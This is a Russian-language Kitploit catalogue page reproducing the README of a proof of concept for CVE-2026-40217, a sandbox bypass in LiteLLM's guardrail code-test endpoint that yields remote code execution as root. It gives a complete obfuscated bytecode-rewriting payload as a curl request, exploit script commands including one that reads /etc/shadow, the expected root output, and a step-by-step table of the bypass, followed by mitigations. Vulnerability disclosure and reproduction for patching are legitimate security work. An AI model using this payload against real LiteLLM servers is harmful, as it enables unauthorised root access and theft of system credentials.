Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40217-PoC — Код для самостоятельного воспроизведения соответствующей уязвимости | Kitploit
Инструменты/GitHubGitHub/learner202649/cve-2026-40217-poc
Безопасность контейнеровАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHublearner202649/cve-2026-40217-poc

CVE-2026-40217-PoC

Код для самостоятельного воспроизведения соответствующей уязвимости

Репозиторий
43 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40217 — Обход песочницы Guardrail в LiteLLM

LiteLLM POST /guardrails/test_custom_code — Обход песочницы, приводящий к удаленному выполнению кода (RCE) от имени root в стандартной Docker-среде.

ПолеЗначение
CVECVE-2026-40217
CVSS8.8 (ВЫСОКИЙ) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-913 (Некорректный контроль динамически управляемых ресурсов кода) / CWE-94
Затронутые версииLiteLLM ≤ 2026-04-08 (до v1.83.11)
Исправлено вv1.83.11+ (замена самодельной песочницы на RestrictedPython)
ОбнаружилMarkus Vervier — X41 D-Sec GmbH
Опубликовано2026-04-08
СсылкиX41 Advisory • GHSA-wxxx-gvqv-xp7p • oss-security

Описание

Эндпоинт POST /guardrails/test_custom_code в LiteLLM позволяет аутентифицированным пользователям отправлять произвольный код Python для тестирования guardrail. Эндпоинт пытается ограничить опасные операции с помощью фильтрации исходного кода на основе регулярных выражений, но это можно полностью обойти с помощью техник перезаписи байт-кода CPython, что приводит к произвольному выполнению кода в процессе прокси. В стандартном Docker-образе прокси работает от имени root, что усугубляет воздействие.


Доказательство концепции

Предварительные требования

root@kitploit:~
# Install Python dependencies (required by exploit.py)
pip install -r requirements.txt

Быстрый старт (Docker)

⚠️ Важно: Файл docker-compose.yml фиксирует уязвимый образ на определенном digest (sha256:7c311546...) от 22 марта 2026 года. Не меняйте тег на main-latest или любую более новую версию — более поздние образы могут уже содержать исправление (RestrictedPython), даже если номер версии говорит об обратном (например, v1.83.10-stable был пересобран после патча и не уязвим).

root@kitploit:~
# 1. Install dependencies (if not already done)
pip install -r requirements.txt

# 2. Start a vulnerable LiteLLM instance
docker compose up -d

# 3. Run the exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"

# 4. Read sensitive files (change the --cmd argument)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
    --cmd "cat /etc/shadow"

# Or using curl directly
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/guardrails/test_custom_code \
  -d '{
    "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
    "test_input": {"messages": [{"role": "user", "content": "test"}]}
  }'

Ожидаемый результат

root@kitploit:~
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}

Техника обхода песочницы (6 шагов)


Структура репозитория

root@kitploit:~
CVE-2026-40217/
├── README.md                  # Этот файл
├── docker-compose.yml         # Одно-командная уязвимая среда
├── requirements.txt           # Зависимости
├── exploit/
│   ├── exploit.py             # Полный скрипт эксплуатации
│   └── payload.py             # Модуль байт-кода полезной нагрузки
├── docs/
│   └── advisory.md            # Переведенные детали уведомления
└── screenshots/               # Скриншоты доказательств

Меры по смягчению

  1. Обновить LiteLLM до v1.83.11+ (использует RestrictedPython вместо самодельной песочницы)
  2. Заблокировать /guardrails/test_custom_code на обратном прокси / API шлюзе
  3. Ограничить мастер-ключ только доверенными администраторами
  4. Запускать не от root в Docker: docker run --user 1000:1000 ...
  5. Не подвергать интерфейс управления воздействию ненадежных сетей

Ссылки

  • Уведомление X41 D-SEC x41-2026-001
  • Уведомление GitHub GHSA-wxxx-gvqv-xp7p
  • Уведомление GitLab
  • Раскрытие oss-security
  • Детали NVD

Отказ от ответственности: Этот материал предоставлен исключительно для образовательных целей и авторизованного тестирования безопасности.

Скачать инструмент
ШагТехникаКод
1Обход regex с помощью конкатенации строк"_"+"_gl"+"ob"+"als"+"_"+"_"
2Получение класса object через str.mro()[1]obj = str.mro()[1]
3Доступ к объекту кода генератора через gi_codec = g(None).gi_code
4Замена __code__ функции через object.__setattr__obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
5Извлечение реальных builtins из http_get.__globals__imp = gd["__builtins__"]["__import__"]
6Достижение RCE через os.popenimp("os").popen("id").read()